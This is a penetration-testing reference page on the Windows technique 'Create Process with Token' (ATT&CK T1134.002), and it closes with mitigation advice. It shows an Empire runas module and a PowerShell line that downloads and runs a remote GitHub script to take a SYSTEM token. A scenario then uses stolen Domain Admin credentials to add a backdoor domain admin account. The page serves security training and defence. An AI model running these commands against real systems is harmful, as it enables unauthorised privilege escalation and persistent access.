# Create Process with Token
**ATT\&CK ID:** [T1134.002](https://attack.mitre.org/techniques/T1134/002/)
**Permissions Required:** **User**
**Description**
Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as `CreateProcessWithTokenW` and `runas`.
Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as Token Impersonation/Theft or Make and Impersonate Token).

## Techniques
### Empire
Passing more complicated arguments to this module can be unreliable. It may be worth creating Batch or `PowerShell` scripts on the target system which contain the desired command to be run and then executing them from this module.
Otherwise, if an interactive foothold has been obtained simply specifying `Powershell.exe` or `cmd.exe` without additional arguments and the record option "ShowWindow" set to "True" will produce a command window over the interactive session.
```
usemodule/powershell/management/runas
```
### Get-WinLogonTokenSystem
```powershell
iex(iwr -usebasicparsing "https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1");Get-WinLogonTokenSystem
```
### Runas
It is not possible to pass the password parameter directly with Runas. The password will be prompted for interactively within the terminal.
```
Runas /user:\ powershell.exe
```
## Scenario
In the scenario below we are logged onto a domain workstations (WS01). We have obtained credentials for the Domain Administrator.
Using `Runas.exe` we elevate from our standard user account to a command shell as *moe*, the Domain Administrator.
Using the known set of credentials we use runas to spawn `PowerShell` as the Domain Administrator.
```
Runas /user:Security.local\Moe powershell.exe
```
Now, with a privilege command shell for the Domain Administrator we can do many things. For example we can create persistence by setting up a new account and promoting the account to a Domain Administrator.
```
net user /add /domain NewAdmin Password123
net localgroup "Domain Admins" /domain /add NewAdmin
```
## Mitigation
* Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > \[Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > \[Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.
* Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command `runas`.
* An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.
